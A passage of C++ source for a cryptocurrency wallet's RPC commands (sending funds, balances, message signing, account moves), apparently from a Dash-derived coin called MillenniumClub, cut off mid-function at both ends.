pwalletMain->mapAddressBook.end() && !(*mi).second.name.empty()) strAccount = (*mi).second.name; return strAccount; } UniValue getaddressesbyaccount(const JSONRPCRequest& request) { if (!EnsureWalletIsAvailable(request.fHelp)) return NullUniValue; if (request.fHelp || request.params.size() != 1) throw std::runtime_error( "getaddressesbyaccount \"account\"\n" "\nDEPRECATED. Returns the list of addresses for the given account.\n" "\nArguments:\n" "1. \"account\" (string, required) The account name.\n" "\nResult:\n" "[ (json array of string)\n" " \"address\" (string) a millenniumclub address associated with the given account\n" " ,...\n" "]\n" "\nExamples:\n" + HelpExampleCli("getaddressesbyaccount", "\"tabby\"") + HelpExampleRpc("getaddressesbyaccount", "\"tabby\"") ); LOCK2(cs_main, pwalletMain->cs_wallet); std::string strAccount = AccountFromValue(request.params[0]); // Find all addresses that have the given account UniValue ret(UniValue::VARR); BOOST_FOREACH(const PAIRTYPE(CBitcoinAddress, CAddressBookData)& item, pwalletMain->mapAddressBook) { const CBitcoinAddress& address = item.first; const std::string& strName = item.second.name; if (strName == strAccount) ret.push_back(address.ToString()); } return ret; } static void SendMoney(const CTxDestination &address, CAmount nValue, bool fSubtractFeeFromAmount, CWalletTx& wtxNew, bool fUseInstantSend=false, bool fUsePrivateSend=false) { CAmount curBalance = pwalletMain->GetBalance(); // Check amount if (nValue <= 0) throw JSONRPCError(RPC_INVALID_PARAMETER, "Invalid amount"); if (nValue > curBalance) throw JSONRPCError(RPC_WALLET_INSUFFICIENT_FUNDS, "Insufficient funds"); if (pwalletMain->GetBroadcastTransactions() && !g_connman) throw JSONRPCError(RPC_CLIENT_P2P_DISABLED, "Error: Peer-to-peer functionality missing or disabled"); // Parse MillenniumClub address CScript scriptPubKey = GetScriptForDestination(address); // Create and send the transaction CReserveKey reservekey(pwalletMain); CAmount nFeeRequired; std::string strError; std::vector<CRecipient> vecSend; int nChangePosRet = -1; CRecipient recipient = {scriptPubKey, nValue, fSubtractFeeFromAmount}; vecSend.push_back(recipient); if (!pwalletMain->CreateTransaction(vecSend, wtxNew, reservekey, nFeeRequired, nChangePosRet, strError, NULL, true, fUsePrivateSend ? ONLY_DENOMINATED : ALL_COINS, fUseInstantSend)) { if (!fSubtractFeeFromAmount && nValue + nFeeRequired > curBalance) strError = strprintf("Error: This transaction requires a transaction fee of at least %s", FormatMoney(nFeeRequired)); throw JSONRPCError(RPC_WALLET_ERROR, strError); } CValidationState state; if (!pwalletMain->CommitTransaction(wtxNew, reservekey, g_connman.get(), state, fUseInstantSend ? NetMsgType::TXLOCKREQUEST : NetMsgType::TX)) { strError = strprintf("Error: The transaction was rejected! Reason given: %s", state.GetRejectReason()); throw JSONRPCError(RPC_WALLET_ERROR, strError); } } UniValue sendtoaddress(const JSONRPCRequest& request) { if (!EnsureWalletIsAvailable(request.fHelp)) return NullUniValue; if (request.fHelp || request.params.size() < 2 || request.params.size() > 7) throw std::runtime_error( "sendtoaddress \"address\" amount ( \"comment\" \"comment_to\" subtractfeefromamount use_is use_ps )\n" "\nSend an amount to a given address.\n" + HelpRequiringPassphrase() + "\nArguments:\n" "1. \"address\" (string, required) The millenniumclub address to send to.\n" "2. \"amount\" (numeric or string, required) The amount in " + CURRENCY_UNIT + " to send. eg 0.1\n" "3. \"comment\" (string, optional) A comment used to store what the transaction is for. \n" " This is not part of the transaction, just kept in your wallet.\n" "4. \"comment_to\" (string, optional) A comment to store the name of the person or organization \n" " to which you're sending the transaction. This is not part of the \n" " transaction, just kept in your wallet.\n" "5. subtractfeefromamount (boolean, optional, default=false) The fee will be deducted from the amount being sent.\n" " The recipient will receive less amount of MillenniumClub than you enter in the amount field.\n" "6. \"use_is\" (bool, optional, default=false) Send this transaction as InstantSend\n" "7. \"use_ps\" (bool, optional, default=false) Use anonymized funds only\n" "\nResult:\n" "\"txid\" (string) The transaction id.\n" "\nExamples:\n" + HelpExampleCli("sendtoaddress", "\"XwnLY9Tf7Zsef8gMGL2fhWA9ZmMjt4KPwG\" 0.1") + HelpExampleCli("sendtoaddress", "\"XwnLY9Tf7Zsef8gMGL2fhWA9ZmMjt4KPwG\" 0.1 \"donation\" \"seans outpost\"") + HelpExampleCli("sendtoaddress", "\"XwnLY9Tf7Zsef8gMGL2fhWA9ZmMjt4KPwG\" 0.1 \"\" \"\" true") + HelpExampleRpc("sendtoaddress", "\"XwnLY9Tf7Zsef8gMGL2fhWA9ZmMjt4KPwG\", 0.1, \"donation\", \"seans outpost\"") ); LOCK2(cs_main, pwalletMain->cs_wallet); CBitcoinAddress address(request.params[0].get_str()); if (!address.IsValid()) throw JSONRPCError(RPC_INVALID_ADDRESS_OR_KEY, "Invalid MillenniumClub address"); // Amount CAmount nAmount = AmountFromValue(request.params[1]); if (nAmount <= 0) throw JSONRPCError(RPC_TYPE_ERROR, "Invalid amount for send"); // Wallet comments CWalletTx wtx; if (request.params.size() > 2 && !request.params[2].isNull() && !request.params[2].get_str().empty()) wtx.mapValue["comment"] = request.params[2].get_str(); if (request.params.size() > 3 && !request.params[3].isNull() && !request.params[3].get_str().empty()) wtx.mapValue["to"] = request.params[3].get_str(); bool fSubtractFeeFromAmount = false; if (request.params.size() > 4) fSubtractFeeFromAmount = request.params[4].get_bool(); bool fUseInstantSend = false; bool fUsePrivateSend = false; if (request.params.size() > 5) fUseInstantSend = request.params[5].get_bool(); if (request.params.size() > 6) fUsePrivateSend = request.params[6].get_bool(); EnsureWalletIsUnlocked(); SendMoney(address.Get(), nAmount, fSubtractFeeFromAmount, wtx, fUseInstantSend, fUsePrivateSend); return wtx.GetHash().GetHex(); } UniValue instantsendtoaddress(const JSONRPCRequest& request) { if (!EnsureWalletIsAvailable(request.fHelp)) return NullUniValue; if (request.fHelp || request.params.size() < 2 || request.params.size() > 5) throw std::runtime_error( "instantsendtoaddress \"address\" amount ( \"comment\" \"comment-to\" subtractfeefromamount )\n" "\nSend an amount to a given address. The amount is a real and is rounded to the nearest 0.00000001\n" + HelpRequiringPassphrase() + "\nArguments:\n" "1. \"address\" (string, required) The millenniumclub address to send to.\n" "2. \"amount\" (numeric, required) The amount in " + CURRENCY_UNIT + " to send. eg 0.1\n" "3. \"comment\" (string, optional) A comment used to store what the transaction is for. \n" " This is not part of the transaction, just kept in your wallet.\n" "4. \"comment_to\" (string, optional) A comment to store the name of the person or organization \n" " to which you're sending the transaction. This is not part of the \n" " transaction, just kept in your wallet.\n" "5. subtractfeefromamount (boolean, optional, default=false) The fee will be deducted from the amount being sent.\n" " The recipient will receive less amount of MillenniumClub than you enter in the amount field.\n" "\nResult:\n" "\"transactionid\" (string) The transaction id.\n" "\nExamples:\n" + HelpExampleCli("instantsendtoaddress", "\"XwnLY9Tf7Zsef8gMGL2fhWA9ZmMjt4KPwG\" 0.1") + HelpExampleCli("instantsendtoaddress", "\"XwnLY9Tf7Zsef8gMGL2fhWA9ZmMjt4KPwG\" 0.1 \"donation\" \"seans outpost\"") + HelpExampleCli("instantsendtoaddress", "\"XwnLY9Tf7Zsef8gMGL2fhWA9ZmMjt4KPwG\" 0.1 \"\" \"\" true") + HelpExampleRpc("instantsendtoaddress", "\"XwnLY9Tf7Zsef8gMGL2fhWA9ZmMjt4KPwG\", 0.1, \"donation\", \"seans outpost\"") ); LOCK2(cs_main, pwalletMain->cs_wallet); CBitcoinAddress address(request.params[0].get_str()); if (!address.IsValid()) throw JSONRPCError(RPC_INVALID_ADDRESS_OR_KEY, "Invalid MillenniumClub address"); // Amount CAmount nAmount = AmountFromValue(request.params[1]); if (nAmount <= 0) throw JSONRPCError(RPC_TYPE_ERROR, "Invalid amount for send"); // Wallet comments CWalletTx wtx; if (request.params.size() > 2 && !request.params[2].isNull() && !request.params[2].get_str().empty()) wtx.mapValue["comment"] = request.params[2].get_str(); if (request.params.size() > 3 && !request.params[3].isNull() && !request.params[3].get_str().empty()) wtx.mapValue["to"] = request.params[3].get_str(); bool fSubtractFeeFromAmount = false; if (request.params.size() > 4) fSubtractFeeFromAmount = request.params[4].get_bool(); EnsureWalletIsUnlocked(); SendMoney(address.Get(), nAmount, fSubtractFeeFromAmount, wtx, true); return wtx.GetHash().GetHex(); } UniValue listaddressgroupings(const JSONRPCRequest& request) { if (!EnsureWalletIsAvailable(request.fHelp)) return NullUniValue; if (request.fHelp) throw std::runtime_error( "listaddressgroupings\n" "\nLists groups of addresses which have had their common ownership\n" "made public by common use as inputs or as the resulting change\n" "in past transactions\n" "\nResult:\n" "[\n" " [\n" " [\n" " \"address\", (string) The millenniumclub address\n" " amount, (numeric) The amount in " + CURRENCY_UNIT + "\n" " \"account\" (string, optional) DEPRECATED. The account\n" " ]\n" " ,...\n" " ]\n" " ,...\n" "]\n" "\nExamples:\n" + HelpExampleCli("listaddressgroupings", "") + HelpExampleRpc("listaddressgroupings", "") ); LOCK2(cs_main, pwalletMain->cs_wallet); UniValue jsonGroupings(UniValue::VARR); std::map<CTxDestination, CAmount> balances = pwalletMain->GetAddressBalances(); BOOST_FOREACH(std::set<CTxDestination> grouping, pwalletMain->GetAddressGroupings()) { UniValue jsonGrouping(UniValue::VARR); BOOST_FOREACH(CTxDestination address, grouping) { UniValue addressInfo(UniValue::VARR); addressInfo.push_back(CBitcoinAddress(address).ToString()); addressInfo.push_back(ValueFromAmount(balances[address])); { if (pwalletMain->mapAddressBook.find(CBitcoinAddress(address).Get()) != pwalletMain->mapAddressBook.end()) addressInfo.push_back(pwalletMain->mapAddressBook.find(CBitcoinAddress(address).Get())->second.name); } jsonGrouping.push_back(addressInfo); } jsonGroupings.push_back(jsonGrouping); } return jsonGroupings; } UniValue listaddressbalances(const JSONRPCRequest& request) { if (!EnsureWalletIsAvailable(request.fHelp)) return NullUniValue; if (request.fHelp || request.params.size() > 1) throw std::runtime_error( "listaddressbalances ( minamount )\n" "\nLists addresses of this wallet and their balances\n" "\nArguments:\n" "1. minamount (numeric, optional, default=0) Minimum balance in " + CURRENCY_UNIT + " an address should have to be shown in the list\n" "\nResult:\n" "{\n" " \"address\": amount, (string) The millenniumclub address and the amount in " + CURRENCY_UNIT + "\n" " ,...\n" "}\n" "\nExamples:\n" + HelpExampleCli("listaddressbalances", "") + HelpExampleCli("listaddressbalances", "10") + HelpExampleRpc("listaddressbalances", "") + HelpExampleRpc("listaddressbalances", "10") ); LOCK2(cs_main, pwalletMain->cs_wallet); CAmount nMinAmount = 0; if (request.params.size() > 0) nMinAmount = AmountFromValue(request.params[0]); if (nMinAmount < 0) throw JSONRPCError(RPC_TYPE_ERROR, "Invalid amount"); UniValue jsonBalances(UniValue::VOBJ); std::map<CTxDestination, CAmount> balances = pwalletMain->GetAddressBalances(); for (auto& balance : balances) if (balance.second >= nMinAmount) jsonBalances.push_back(Pair(CBitcoinAddress(balance.first).ToString(), ValueFromAmount(balance.second))); return jsonBalances; } UniValue signmessage(const JSONRPCRequest& request) { if (!EnsureWalletIsAvailable(request.fHelp)) return NullUniValue; if (request.fHelp || request.params.size() != 2) throw std::runtime_error( "signmessage \"address\" \"message\"\n" "\nSign a message with the private key of an address" + HelpRequiringPassphrase() + "\n" "\nArguments:\n" "1. \"address\" (string, required) The millenniumclub address to use for the private key.\n" "2. \"message\" (string, required) The message to create a signature of.\n" "\nResult:\n" "\"signature\" (string) The signature of the message encoded in base 64\n" "\nExamples:\n" "\nUnlock the wallet for 30 seconds\n" + HelpExampleCli("walletpassphrase", "\"mypassphrase\" 30") + "\nCreate the signature\n" + HelpExampleCli("signmessage", "\"XwnLY9Tf7Zsef8gMGL2fhWA9ZmMjt4KPwG\" \"my message\"") + "\nVerify the signature\n" + HelpExampleCli("verifymessage", "\"XwnLY9Tf7Zsef8gMGL2fhWA9ZmMjt4KPwG\" \"signature\" \"my message\"") + "\nAs json rpc\n" + HelpExampleRpc("signmessage", "\"XwnLY9Tf7Zsef8gMGL2fhWA9ZmMjt4KPwG\", \"my message\"") ); LOCK2(cs_main, pwalletMain->cs_wallet); EnsureWalletIsUnlocked(); std::string strAddress = request.params[0].get_str(); std::string strMessage = request.params[1].get_str(); CBitcoinAddress addr(strAddress); if (!addr.IsValid()) throw JSONRPCError(RPC_TYPE_ERROR, "Invalid address"); CKeyID keyID; if (!addr.GetKeyID(keyID)) throw JSONRPCError(RPC_TYPE_ERROR, "Address does not refer to key"); CKey key; if (!pwalletMain->GetKey(keyID, key)) throw JSONRPCError(RPC_WALLET_ERROR, "Private key not available"); CHashWriter ss(SER_GETHASH, 0); ss << strMessageMagic; ss << strMessage; std::vector<unsigned char> vchSig; if (!key.SignCompact(ss.GetHash(), vchSig)) throw JSONRPCError(RPC_INVALID_ADDRESS_OR_KEY, "Sign failed"); return EncodeBase64(&vchSig[0], vchSig.size()); } UniValue getreceivedbyaddress(const JSONRPCRequest& request) { if (!EnsureWalletIsAvailable(request.fHelp)) return NullUniValue; if (request.fHelp || request.params.size() < 1 || request.params.size() > 3) throw std::runtime_error( "getreceivedbyaddress \"address\" ( minconf addlockconf )\n" "\nReturns the total amount received by the given address in transactions with at least minconf confirmations.\n" "\nArguments:\n" "1. \"address\" (string, required) The millenniumclub address for transactions.\n" "2. minconf (numeric, optional, default=1) Only include transactions confirmed at least this many times.\n" "3. addlockconf (bool, optional, default=false) Whether to add " + std::to_string(nInstantSendDepth) + " confirmations to transactions locked via InstantSend.\n" "\nResult:\n" "amount (numeric) The total amount in " + CURRENCY_UNIT + " received at this address.\n" "\nExamples:\n" "\nThe amount from transactions with at least 1 confirmation\n" + HelpExampleCli("getreceivedbyaddress", "\"XwnLY9Tf7Zsef8gMGL2fhWA9ZmMjt4KPwG\"") + "\nThe amount including unconfirmed transactions, zero confirmations\n" + HelpExampleCli("getreceivedbyaddress", "\"XwnLY9Tf7Zsef8gMGL2fhWA9ZmMjt4KPwG\" 0") + "\nThe amount with at least 6 confirmation, very safe\n" + HelpExampleCli("getreceivedbyaddress", "\"XwnLY9Tf7Zsef8gMGL2fhWA9ZmMjt4KPwG\" 6") + "\nAs a json rpc call\n" + HelpExampleRpc("getreceivedbyaddress", "\"XwnLY9Tf7Zsef8gMGL2fhWA9ZmMjt4KPwG\", 6") ); LOCK2(cs_main, pwalletMain->cs_wallet); // MillenniumClub address CBitcoinAddress address = CBitcoinAddress(request.params[0].get_str()); if (!address.IsValid()) throw JSONRPCError(RPC_INVALID_ADDRESS_OR_KEY, "Invalid MillenniumClub address"); CScript scriptPubKey = GetScriptForDestination(address.Get()); if (!IsMine(*pwalletMain, scriptPubKey)) return ValueFromAmount(0); // Minimum confirmations int nMinDepth = 1; if (request.params.size() > 1) nMinDepth = request.params[1].get_int(); bool fAddLockConf = (request.params.size() > 2 && request.params[2].get_bool()); // Tally CAmount nAmount = 0; for (std::map<uint256, CWalletTx>::iterator it = pwalletMain->mapWallet.begin(); it != pwalletMain->mapWallet.end(); ++it) { const CWalletTx& wtx = (*it).second; if (wtx.IsCoinBase() || !CheckFinalTx(*wtx.tx)) continue; BOOST_FOREACH(const CTxOut& txout, wtx.tx->vout) if (txout.scriptPubKey == scriptPubKey) if (wtx.GetDepthInMainChain(fAddLockConf) >= nMinDepth) nAmount += txout.nValue; } return ValueFromAmount(nAmount); } UniValue getreceivedbyaccount(const JSONRPCRequest& request) { if (!EnsureWalletIsAvailable(request.fHelp)) return NullUniValue; if (request.fHelp || request.params.size() < 1 || request.params.size() > 3) throw std::runtime_error( "getreceivedbyaccount \"account\" ( minconf addlockconf )\n" "\nDEPRECATED. Returns the total amount received by addresses with <account> in transactions with specified minimum number of confirmations.\n" "\nArguments:\n" "1. \"account\" (string, required) The selected account, may be the default account using \"\".\n" "2. minconf (numeric, optional, default=1) Only include transactions confirmed at least this many times.\n" "3. addlockconf (bool, optional, default=false) Whether to add " + std::to_string(nInstantSendDepth) + " confirmations to transactions locked via InstantSend.\n" "\nResult:\n" "amount (numeric) The total amount in " + CURRENCY_UNIT + " received for this account.\n" "\nExamples:\n" "\nAmount received by the default account with at least 1 confirmation\n" + HelpExampleCli("getreceivedbyaccount", "\"\"") + "\nAmount received at the tabby account including unconfirmed amounts with zero confirmations\n" + HelpExampleCli("getreceivedbyaccount", "\"tabby\" 0") + "\nThe amount with at least 6 confirmation, very safe\n" + HelpExampleCli("getreceivedbyaccount", "\"tabby\" 6") + "\nAs a json rpc call\n" + HelpExampleRpc("getreceivedbyaccount", "\"tabby\", 6") ); LOCK2(cs_main, pwalletMain->cs_wallet); // Minimum confirmations int nMinDepth = 1; if (request.params.size() > 1) nMinDepth = request.params[1].get_int(); bool fAddLockConf = (request.params.size() > 2 && request.params[2].get_bool()); // Get the set of pub keys assigned to account std::string strAccount = AccountFromValue(request.params[0]); std::set<CTxDestination> setAddress = pwalletMain->GetAccountAddresses(strAccount); // Tally CAmount nAmount = 0; for (std::map<uint256, CWalletTx>::iterator it = pwalletMain->mapWallet.begin(); it != pwalletMain->mapWallet.end(); ++it) { const CWalletTx& wtx = (*it).second; if (wtx.IsCoinBase() || !CheckFinalTx(*wtx.tx)) continue; BOOST_FOREACH(const CTxOut& txout, wtx.tx->vout) { CTxDestination address; if (ExtractDestination(txout.scriptPubKey, address) && IsMine(*pwalletMain, address) && setAddress.count(address)) if (wtx.GetDepthInMainChain(fAddLockConf) >= nMinDepth) nAmount += txout.nValue; } } return ValueFromAmount(nAmount); } UniValue getbalance(const JSONRPCRequest& request) { if (!EnsureWalletIsAvailable(request.fHelp)) return NullUniValue; if (request.fHelp || request.params.size() > 4) throw std::runtime_error( "getbalance ( \"account\" minconf addlockconf include_watchonly )\n" "\nIf account is not specified, returns the server's total available balance.\n" "If account is specified (DEPRECATED), returns the balance in the account.\n" "Note that the account \"\" is not the same as leaving the parameter out.\n" "The server total may be different to the balance in the default \"\" account.\n" "\nArguments:\n" "1. \"account\" (string, optional) DEPRECATED. The selected account, or \"*\" for entire wallet. It may be the default account using \"\".\n" "2. minconf (numeric, optional, default=1) Only include transactions confirmed at least this many times.\n" "3. addlockconf (bool, optional, default=false) Whether to add " + std::to_string(nInstantSendDepth) + " confirmations to transactions locked via InstantSend.\n" "4. include_watchonly (bool, optional, default=false) Also include balance in watch-only addresses (see 'importaddress')\n" "\nResult:\n" "amount (numeric) The total amount in " + CURRENCY_UNIT + " received for this account.\n" "\nExamples:\n" "\nThe total amount in the wallet\n" + HelpExampleCli("getbalance", "") + "\nThe total amount in the wallet at least 5 blocks confirmed\n" + HelpExampleCli("getbalance", "\"*\" 6") + "\nAs a json rpc call\n" + HelpExampleRpc("getbalance", "\"*\", 6") ); LOCK2(cs_main, pwalletMain->cs_wallet); if (request.params.size() == 0) return ValueFromAmount(pwalletMain->GetBalance()); int nMinDepth = 1; if (request.params.size() > 1) nMinDepth = request.params[1].get_int(); bool fAddLockConf = (request.params.size() > 2 && request.params[2].get_bool()); isminefilter filter = ISMINE_SPENDABLE; if(request.params.size() > 3) if(request.params[3].get_bool()) filter = filter | ISMINE_WATCH_ONLY; if (request.params[0].get_str() == "*") { // Calculate total balance a different way from GetBalance() // (GetBalance() sums up all unspent TxOuts) // getbalance and "getbalance * 1 true" should return the same number CAmount nBalance = 0; for (std::map<uint256, CWalletTx>::iterator it = pwalletMain->mapWallet.begin(); it != pwalletMain->mapWallet.end(); ++it) { const CWalletTx& wtx = (*it).second; if (!CheckFinalTx(wtx) || wtx.GetBlocksToMaturity() > 0 || wtx.GetDepthInMainChain() < 0) continue; CAmount allFee; std::string strSentAccount; std::list<COutputEntry> listReceived; std::list<COutputEntry> listSent; wtx.GetAmounts(listReceived, listSent, allFee, strSentAccount, filter); if (wtx.GetDepthInMainChain(fAddLockConf) >= nMinDepth) { BOOST_FOREACH(const COutputEntry& r, listReceived) nBalance += r.amount; } BOOST_FOREACH(const COutputEntry& s, listSent) nBalance -= s.amount; nBalance -= allFee; } return ValueFromAmount(nBalance); } std::string strAccount = AccountFromValue(request.params[0]); CAmount nBalance = pwalletMain->GetAccountBalance(strAccount, nMinDepth, filter, fAddLockConf); return ValueFromAmount(nBalance); } UniValue getunconfirmedbalance(const JSONRPCRequest &request) { if (!EnsureWalletIsAvailable(request.fHelp)) return NullUniValue; if (request.fHelp || request.params.size() > 0) throw std::runtime_error( "getunconfirmedbalance\n" "Returns the server's total unconfirmed balance\n"); LOCK2(cs_main, pwalletMain->cs_wallet); return ValueFromAmount(pwalletMain->GetUnconfirmedBalance()); } UniValue movecmd(const JSONRPCRequest& request) { if (!EnsureWalletIsAvailable(request.fHelp)) return NullUniValue; if (request.fHelp || request.params.size() < 3 || request.params.size() > 5) throw std::runtime_error( "move \"fromaccount\" \"toaccount\" amount ( minconf \"comment\" )\n" "\nDEPRECATED. Move a specified amount from one account in your wallet to another.\n" "\nArguments:\n" "1. \"fromaccount\" (string, required) The name of the account to move funds from. May be the default account using \"\".\n" "2. \"toaccount\" (string, required) The name of the account to move funds to. May be the default account using \"\".\n" "3. amount (numeric) Quantity of " + CURRENCY_UNIT + " to move between accounts.\n" "4. (dummy) (numeric, optional) Ignored. Remains for backward compatibility.\n" "5. \"comment\" (string, optional) An optional comment, stored in the wallet only.\n" "\nResult:\n" "true|false (boolean) true if successful.\n" "\nExamples:\n" "\nMove 0.01 " + CURRENCY_UNIT + " from the default account to the account named tabby\n" + HelpExampleCli("move", "\"\" \"tabby\" 0.01") + "\nMove 0.01 " + CURRENCY_UNIT + " timotei to akiko with a comment and funds have 6 confirmations\n" + HelpExampleCli("move", "\"timotei\" \"akiko\" 0.01 6 \"happy birthday!\"") + "\nAs a json rpc call\n" + HelpExampleRpc("move", "\"timotei\", \"akiko\", 0.01, 6, \"happy birthday!\"") ); LOCK2(cs_main, pwalletMain->cs_wallet); std::string strFrom = AccountFromValue(request.params[0]); std::string strTo = AccountFromValue(request.params[1]); CAmount nAmount = AmountFromValue(request.params[2]); if (nAmount <= 0) throw JSONRPCError(RPC_TYPE_ERROR, "Invalid amount for send"); if (request.params.size() > 3) // unused parameter, used to be nMinDepth, keep type-checking it though (void)request.params[3].get_int(); std::string strComment; if (request.params.size() > 4) strComment = request.params[4].get_str(); if (!pwalletMain->AccountMove(strFrom, strTo, nAmount, strComment)) throw JSONRPCError(RPC_DATABASE_ERROR, "database error"); return true; } UniValue sendfrom(const JSONRPCRequest& request) { if (!EnsureWalletIsAvailable(request.fHelp)) return NullUniValue; if (request.fHelp || request.params.size() < 3 || request.params.size() > 7) throw std::runtime_error( "sendfrom \"fromaccount\" \"toaddress\" amount ( minconf addlockconf \"comment\" \"comment_to\" )\n" "\nDEPRECATED (use sendtoaddress). Sent an amount from an account to a millenniumclub address." + HelpRequiringPassphrase() + "\n" "\nArguments:\n" "1. \"fromaccount\" (string, required) The name of the account to send funds from. May be the default account using \"\".\n" " Specifying an account does not influence coin selection, but it does associate the newly created\n" " transaction with the account, so the account's balance computation and transaction history can reflect\n" " the spend.\n" "2. \"toaddress\" (string, required) The millenniumclub address to send funds to.\n" "3. amount (numeric or string, required) The amount in " + CURRENCY_UNIT + " (transaction fee is added on top).\n" "4. minconf (numeric, optional, default=1) Only use funds with at least this many confirmations.\n" "5. addlockconf (bool, optional, default=false) Whether to add " + std::to_string(nInstantSendDepth) + " confirmations to transactions locked via InstantSend.\n" "6. \"comment\" (string, optional) A comment used to store what the transaction is for. \n" " This is not part of the transaction, just kept in your wallet.\n" "7. \"comment_to\" (string, optional) An optional comment to store the name of the person or organization \n" " to which you're sending the transaction. This is not part of the transaction, \n" " it is just kept in your wallet.\n" "\nResult:\n" "\"txid\" (string) The transaction id.\n" "\nExamples:\n" "\nSend 0.01 " + CURRENCY_UNIT + " from the default account to the address, must have at least 1 confirmation\n" + HelpExampleCli("sendfrom", "\"\" \"XwnLY9Tf7Zsef8gMGL2fhWA9ZmMjt4KPwG\" 0.01") + "\nSend 0.01 from the tabby account to the given address, funds must have at least 6 confirmations\n" + HelpExampleCli("sendfrom", "\"tabby\" \"XwnLY9Tf7Zsef8gMGL2fhWA9ZmMjt4KPwG\" 0.01 6 false \"donation\" \"seans outpost\"") + "\nAs a json rpc call\n" + HelpExampleRpc("sendfrom", "\"tabby\", \"XwnLY9Tf7Zsef8gMGL2fhWA9ZmMjt4KPwG\", 0.01, 6, false, \"donation\", \"seans outpost\"") ); LOCK2(cs_main, pwalletMain->cs_wallet); std::string strAccount = AccountFromValue(request.params[0]); CBitcoinAddress address(request.params[1].get_str()); if (!address.IsValid()) throw JSONRPCError(RPC_INVALID_ADDRESS_OR_KEY, "Invalid MillenniumClub address"); CAmount nAmount = AmountFromValue(request.params[2]); if (nAmount <= 0) throw JSONRPCError(RPC_TYPE_ERROR, "Invalid amount for send"); int nMinDepth = 1; if (request.params.size() > 3) nMinDepth = request.params[3].get_int(); bool fAddLockConf = (request.params.size() > 4 && request.params[4].get_bool()); CWalletTx wtx; wtx.strFromAccount = strAccount; if (request.params.size() > 5 && !request.params[5].isNull() && !request.params[5].get_str().empty()) wtx.mapValue["comment"] = request.params[5].get_str(); if (request.params.size() > 6 && !request.params[6].isNull() && !request.params[6].get_str().empty()) wtx.mapValue["to"] = request.params[6].get_str(); EnsureWalletIsUnlocked(); // Check funds CAmount nBalance = pwalletMain->GetAccountBalance(strAccount, nMinDepth, ISMINE_SPENDABLE, fAddLockConf); if (nAmount > nBalance) throw JSONRPCError(RPC_WALLET_INSUFFICIENT_FUNDS, "Account has insufficient funds"); SendMoney(address.Get(), nAmount, false, wtx); return wtx.GetHash().GetHex(); } UniValue sendmany(const JSONRPCRequest& request) { if (!EnsureWalletIsAvailable(request.fHelp)) return NullUniValue; if (request.fHelp || request.params.size() < 2 || request.params.size() > 8) throw std::runtime_error( "sendmany \"fromaccount\" {\"address\":amount,...} ( minconf addlockconf \"comment\" [\"address\",...] subtractfeefromamount use_is use_ps )\n" "\nSend multiple times. Amounts are double-precision floating point numbers." + HelpRequiringPassphrase() + "\n" "\nArguments:\n" "1. \"fromaccount\" (string, required) DEPRECATED. The account to send the funds from. Should be \"\" for the default account\n" "2. \"amounts\" (string, required) A json object with addresses and amounts\n" " {\n" " \"address\":amount (numeric or string) The millenniumclub address is the key, the numeric amount (can be string) in " + CURRENCY_UNIT + " is the value\n" " ,...\n" " }\n" "3. minconf (numeric, optional, default=1) Only use the balance confirmed at least this many times.\n" "4. addlockconf (bool, optional, default=false) Whether to add " + std::to_string(nInstantSendDepth) + " confirmations to transactions locked via InstantSend.\n" "5. \"comment\" (string, optional) A comment\n" "6. subtractfeefromamount (array, optional) A json array with addresses.\n" " The fee will be equally deducted from the amount of each selected address.\n" " Those recipients will receive less millenniumclubs than you enter in their corresponding amount field.\n" " If no addresses are specified here, the sender pays the fee.\n" " [\n" " \"address\" (string) Subtract fee from this address\n" " ,...\n" " ]\n" "7. \"use_is\" (bool, optional, default=false) Send this transaction as InstantSend\n" "8. \"use_ps\" (bool, optional, default=false) Use anonymized funds only\n" "\nResult:\n" "\"txid\" (string) The transaction id for the send. Only 1 transaction is created regardless of \n" " the number of addresses.\n" "\nExamples:\n" "\nSend two amounts to two different addresses:\n" + HelpExampleCli("sendmany", "\"tabby\" \"{\\\"XwnLY9Tf7Zsef8gMGL2fhWA9ZmMjt4KPwG\\\":0.01,\\\"XuQQkwA4FYkq2XERzMY2CiAZhJTEDAbtcG\\\":0.02}\"") + "\nSend two amounts to two different addresses setting the confirmation and comment:\n" + HelpExampleCli("sendmany", "\"tabby\" \"{\\\"XwnLY9Tf7Zsef8gMGL2fhWA9ZmMjt4KPwG\\\":0.01,\\\"XuQQkwA4FYkq2XERzMY2CiAZhJTEDAbtcG\\\":0.02}\" 6 false \"testing\"") + "\nAs a json rpc call\n" + HelpExampleRpc("sendmany", "\"tabby\", \"{\\\"XwnLY9Tf7Zsef8gMGL2fhWA9ZmMjt4KPwG\\\":0.01,\\\"XuQQkwA4FYkq2XERzMY2CiAZhJTEDAbtcG\\\":0.02}\", 6, false, \"testing\"") ); LOCK2(cs_main, pwalletMain->cs_wallet); if (pwalletMain->GetBroadcastTransactions() && !g_connman) throw JSONRPCError(RPC_CLIENT_P2P_DISABLED, "Error: Peer-to-peer functionality missing or disabled"); std::string strAccount = AccountFromValue(request.params[0]); UniValue sendTo = request.params[1].get_obj(); int nMinDepth = 1; if (request.params.size() > 2) nMinDepth = request.params[2].get_int(); bool fAddLockConf = (request.params.size() > 3 && request.params[3].get_bool()); CWalletTx wtx; wtx.strFromAccount = strAccount; if (request.params.size() > 4 && !request.params[4].isNull() && !request.params[4].get_str().empty()) wtx.mapValue["comment"] = request.params[4].get_str(); UniValue subtractFeeFromAmount(UniValue::VARR); if (request.params.size() > 5) subtractFeeFromAmount = request.params[5].get_array(); std::set<CBitcoinAddress> setAddress; std::vector<CRecipient> vecSend; CAmount totalAmount = 0; std::vector<std::string> keys = sendTo.getKeys(); BOOST_FOREACH(const std::string& name_, keys) { CBitcoinAddress address(name_); if (!address.IsValid()) throw JSONRPCError(RPC_INVALID_ADDRESS_OR_KEY, std::string("Invalid MillenniumClub address: ")+name_); if (setAddress.count(address)) throw JSONRPCError(RPC_INVALID_PARAMETER, std::string("Invalid parameter, duplicated address: ")+name_); setAddress.insert(address); CScript scriptPubKey = GetScriptForDestination(address.Get()); CAmount nAmount = AmountFromValue(sendTo[name_]); if (nAmount <= 0) throw JSONRPCError(RPC_TYPE_ERROR, "Invalid amount for send"); totalAmount += nAmount; bool fSubtractFeeFromAmount = false; for (unsigned int idx = 0; idx < subtractFeeFromAmount.size(); idx++) { const UniValue& addr = subtractFeeFromAmount[idx]; if (addr.get_str() == name_) fSubtractFeeFromAmount = true; } CRecipient recipient = {scriptPubKey, nAmount, fSubtractFeeFromAmount}; vecSend.push_back(recipient); } EnsureWalletIsUnlocked(); // Check funds CAmount nBalance = pwalletMain->GetAccountBalance(strAccount, nMinDepth, ISMINE_SPENDABLE, fAddLockConf); if (totalAmount > nBalance) throw 